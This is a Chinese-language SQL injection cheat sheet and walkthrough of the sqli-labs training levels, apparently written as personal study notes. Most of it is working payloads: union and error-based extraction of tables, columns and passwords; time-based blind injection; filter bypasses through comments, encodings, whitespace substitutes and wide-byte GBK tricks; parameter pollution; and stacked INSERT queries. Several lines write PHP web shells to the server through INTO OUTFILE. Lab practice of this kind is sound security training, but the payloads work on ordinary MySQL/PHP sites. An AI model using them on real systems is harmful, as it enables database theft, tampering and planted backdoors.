-- Default Databases
mysql Requires root privileges
information_schema Available from version 5 and higher
Comment Out Query
# /**/ -- - ;%00 `
select user(); -- 数据库用户名
select version(); -- MySQL版本
select database(); -- 数据库名
select @@basedir; -- 数据库安装路径
select @@datadir; -- 数据存储路径
select @@version_compile_os; -- 操作系统版本
show global variables like '%secure%'; --
if(expr,v1,v2) -- expr正确则v1,否则v2
select case when expr then v1 else v2 end; -- 与 if 功能相同
select concat('11', '22', '33'); -- 字符串连接 112233
select concat_ws(x, s1,s2...sn) -- 以 x 作为连接符,将字符串连接
select group_concat() -- 把查询出来的多行连接起来
select mid(str, start, count) -- 从start开始截取count个字符
select substr(database(), 1, 1) -- 与mid同
# 如果用不了逗号,直接 from start for count
# union select * from (select 1)a join (select 2)b == union select 1,2
select left(str, count) -- 截取左边count个字符
select ord() -- 返回第一个字符的ASCII码
select ascii() -- 与ord同
select char(32, 58, 32) -- ' : ' 即空格+ : +空格
select length(database());
delete from table_name where id=1; -- 不加限制条件将删除整张表
drop database ds_name;
drop column column_name;
alter table table_name;
update table_name set column_name='new' where id=1; -- 更新
/*!50000select*/
where id = 0.1 union select ...
xor, ||, &&, !, not,<>
所查询的字段数需与主查询一致
字段数可先用 order by x 来确定
union select 1, 2 from user where id = 1 or 1=1
存储数据库信息的数据库
数据库名 schemata => schema_name tables => table_schema columns => table_schema 表名 tables => table_name columns => table_name 列名 columns => columns_name
select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取当前数据库中所有表
select 1,group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167; -- 获得所有列名(字段),table_name 参数进行十六进制编码后可绕过引号被过滤
-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
-- 下载数据
-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # -- 获取表中的字段名
前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端
常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入 【SQL注入】报错注入姿势总结
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));%23
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);%23
基于函数报错信息获取(select, insert, update, delete)
结合函数报错信息,将函数插入到语句中
如 XFF
,referer
观察点:后台收集了请求头中的信息,并存入到数据库中
结合 and 进行逻辑判断
效率太低,写脚本爆
无显示回显,可在以前的基础上加入 sleep()
语句,若明显延迟,则注入成功
BENCHMARK(count,expr)
执行 count
次的 expr
,如 BENCHMARK(10000000,SHA(‘1’))
即使 sleep
和 benchmark
都被过滤了,但是我们依然可以通过让Mysql进行复杂运算,
以达到延时的效果,比如可以用字段比较多的表来计算笛卡尔积
select count(*)
from information_schema.columns A,
information_schema.columns B,
information_schema.columns C#
还有 get_lock()
前提:开启 secure_file_priv,并且具有写的权限
select 1,2,'<?php system($_GET[1])?>' into outfile 'H:\\a.php'--%20
检测被过滤的关键词:
select(group_concat(table_name))
from(information_schema.tables)
where(table_schema=database())
%20 空格
%09 TAB 键(水平)
%0b TAB 键(垂直)
%0d return 功能
%0c 新的一页
%a0 空格
%0a 新建一行
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
select column_name from information_schema.tables where table_name="users"
如果引号被过滤了,那么上面的where
子句就失效了,此时可以使用十六进制。 users
的十六进制的字符串是7573657273
。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
宽字节绕过
%bf%27 %df%27 %aa%27
substr(), mid()
里的逗号可用 from for
代替
select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);
对于 limit
里面的逗号可以使用 offset
绕过
select * from news limit 0,1
<=>
select * from news limit 1 offset 0
大于、小于可用 greatest(), least()
代替,还可以 between and
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
利用符号:
and => &&
or => ||
xor => |
not => !
大小写变形: Or, OR, oR
添加注释: o/**/r
编码:hex, urlencode
(1)使用注释符绕过:
//,-- , /**/, #, --+, -- -, ;,%00,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
sele%ct IIS 服务器可以插入 %
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过:
id=-1'UNIunionONSeLselectECT1,2,3–-
(5)科学计数法
id=0e1union
以information_schema.tables为例
空格 information_schema . tables
着重号 information</em>schema.tables
特殊符 /!informationschema.tables/
别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
常用注释符:#, --+, /**/
,可以用 ;%00
代替
不用注释符,与后面的语句构造闭合就行,如 ||'1
,恰好与 ’ LIMIT 0,1
闭合
使用 like 、rlike 、regexp
或者 < , >
git clone https://github.com/Audi-1/sqli-labs.git
修改 sql-connections/sql-labs/db-creds.inc 中 MySQL用户名/密码
再放到 Apache 下或者 PHPstudy 这种集成工具
From your browser access the sql-labs folder to load index.html
Click on the link setup/resetDB to create database, create tables and populate Data.
Labs ready to be used, click on lesson number to open the lesson page.
Enjoy the labs
?id=-1%27 union select 1, 2, flag from flag%23
?id=-1 union select 1, 2, flag from flag%23
?id=-1') union select 1, 2, flag from flag%23
?id=-1") union select 1, 2, flag from flag%23
二次注入有点懵逼,直接注入没有任何回显,函数报错盲注搞起
?id=11' and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23
?id=11" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23
?id=1 union select 1,2,'<?php @eval($_POST[1])?>' into outfile 'D:\\a.php';
没有任何报错信息,无法直接根据报错注入,时间盲注
id=1' and if(ascii(substr((select username from users limit 0, 1), 1, 1))=68 ,1 , SLEEP(5) --+
uname=-1' union select 1,flag from flag#&passwd=&submit=Submit
uname=-1") union select 1,flag from flag#&passwd=&submit=Submit
发现有报错信息,尝试报错注入
uname=-1') and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23&passwd=&submit=Submit
双引号
uname=1" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23&passwd=&submit=Submit
利用 update 注入,有明显的报错信息,可以报错注入,并且没有验证之前的密码
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit
UA 注入,要先登录才有回显,注意闭合
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '
cookie 注入,同样有报错,改了cookie后不会影响登录状态吗?
发现 #, --
被过滤,可换 ;%00
,或者直接闭合单引号
?id=-1' union select 1,database(),'3
?id=-1' union select 1,2,database();%00
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
-- 报错注入
?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)));%00
二次排序注入,将可能导致 sql 注入的字符先存入数据库,当再次调用这个恶意构造的字符时,就可以触发注入。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pa';
对于本题的 sql
语句来说,如果先注册一个 admin'#
用户,此用户改密码的时候也修改了 admin
的密码。
所以有无严格控制用户的输入对安全影响特别大。
题意是说过滤了 or, and
,并且展示了过滤后的字符串在下方,同时也有报错,所以方法很多
?id=-2' union select 1, database(), 3%23
or, and
可以用 ||, &&
代替,本题还可用 o/**/r
或者 oorr
与 Less-25 大同小异
尝试了所有的空白符,居然都不行,有个 %a0
没被过滤,但是不解析,不过 Linux 上可以成功解析
function blacklist($id) {
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //过滤空白符,如换行、换页、空格、制表符
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
payload:
?id=0%27union%a0select%a01,database(),3;%00 -- linux(phpstudy上不解析,待研究)
?id=0%27union(select(1),database(),3);%00 -- 直接用括号分隔
?id=-1%27anandd(extractvalue(1,concat(0x7e,(select(user())),0x7e)));%00
多了个 ()
,没有报错回显,依然 %a0
,也可以盲注
?id=1%27)union(select(1),database(),3);%00
function blacklist($id) {
$id= preg_replace('/[\/\*]/', "", $id); //strip out /*
$id= preg_replace('/[--]/', "", $id); //Strip out --.
$id= preg_replace('/[#]/', "", $id); //Strip out #.
$id= preg_replace('/[ +]/', "", $id); //Strip out spaces.
$id= preg_replace('/select/m', "", $id); //Strip out spaces.
$id= preg_replace('/[ +]/', "", $id); //Strip out spaces.
$id= preg_replace('/union/s', "", $id); //Strip out union
$id= preg_replace('/select/s', "", $id); //Strip out select
$id= preg_replace('/UNION/s', "", $id); //Strip out UNION
$id= preg_replace('/SELECT/s', "", $id); //Strip out SELECT
$id= preg_replace('/Union/s', "", $id); //Strip out Union
$id= preg_replace('/Select/s', "", $id); //Strip out select
return $id;
}
select, union, 空格
过滤不彻底
?id=-1%27and(extractvalue(1,concat(0x7e,(seLect%0aflag%0afrom%0aflag),0x7e)));%00
?id=0"%0aUnIon%0aSElecT%0a1,(SeLect%0aflag%0afrom%0aflag),"3
preg_replace('/union\s+select/i', "", $id); //Strip out UNION & SELECT.
不能同时出现 union select
,还是遇到了之前那个 %a0
不解析的问题,但是可以 union all select
,科学计数法 0e1union
也不行
id=0')%0aunion%0aall%0aseLect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database();%00
如果可以报错注入的话
?id=2')%0aand%0a(extractvalue(1,concat(0x7e,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),0x7e)));%00
与 28 差不多,并且过滤还减少了。。
一旦输入不是数字,直接跳到 hacked.php
,一看源码可知存在 HPP
即参数污染,这实际上是一个逻辑问题。
$qs = $_SERVER['QUERY_STRING'];
$id1 = java_implimentation($qs);
// 参数污染在这里,php 同时接到两个一样的参数,以后一个为准
$id = $_GET['id'];
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 为啥不插 $id1
function whitelist($input) {
$match = preg_match("/^\d+$/", $input);
if (!$match) {
header('Location: hacked.php');
}
}
// 一找到 id 就返回,即返回的是第一个 id 的值
function java_implimentation($query_string) {
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value) {
$val=substr($value,0,2);
if($val=="id") {
$id_value=substr($value,3,30);
return $id_value;
}
}
}
这题一旦发现是参数污染,即入无人之境,毫无过滤。
?id=2&id=0' union select 1,2,3%23
与 29 同,只是拼接了一个 “”
。
在前面的基础上又加了一个 ()
。
Less-32,33,34,35,36,37六关全部是针对 ’
和 \
的过滤,可用宽字节绕过
原理:mysql
在使用 gbk
编码的时候,会将两个字符当做一个汉字。例如 %aa%5c
,前一个 ASCII
码超过 128
才会达到汉字的范围。
干掉 slash 有如下方法
1、%df
吃掉 \
具体的原因是 urlencode(‘) = %5c%27
,我们在 %5c%27
前面添加 %df
,形成 %df%5c%27
,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时 %df%5c
就是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’
中的 \
过滤掉,例如可以构造 %**%5c%5c%27
的情况,后面的 %5c
会被前面的 %5c
给注释掉。
?id=0%df' union select 1,2,3%23
那第二种方法?
Addslashes()
函数依旧可以利用 %df
进行绕过。
下列字符将被加上 \ 进行转义
单引号(') 双引号(") 反斜杠(\) NULL
Notice:使用 addslashes()
,我们需要将 mysql_query
设置为 binary
的方式,才能防御此漏洞。
mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
此处是 post
,将 utf-8
转换为 utf-16
或 utf-32
,例如将 ‘
转为 utf-16
为 �’
uname=�' or 1#&passwd=admin&submit=Submit
35 关和 33关是大致的一样的,唯一的区别在于 sql
语句的不同。
SELECT * FROM users WHERE id=$id LIMIT 0,1
没有 ‘
,就没必考虑 addslashes()
函数的意义了
$string = mysql_real_escape_string($string);
// 下列字符将受影响
\x00 \n \r \ ' " \x1a
依然宽字节注入
?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
Notice:
在使用 mysql_real_escape_string()
时,需要将 mysql
设置为 gbk
即可。
mysql_set_charset(‘gbk’,’$conn’)
利用 34 关的 payload
以下正式进入堆叠注入,即
select * from users where id=1; show tables;
由于 sql
语句是以 ;
分隔,所以在查询语句的基础,我们还可以加多条语句。
没有什么过滤,可以为所欲为,比如直接插入数据
id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+
同 38,只是没有 ‘’
。
没有任何防护,得到字段名之后就可以直接往里插入数据
id=1;%20insert%20into%20users(id,username,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23
做到这里有点无聊就没做了,待更新。
order by
配合 rand()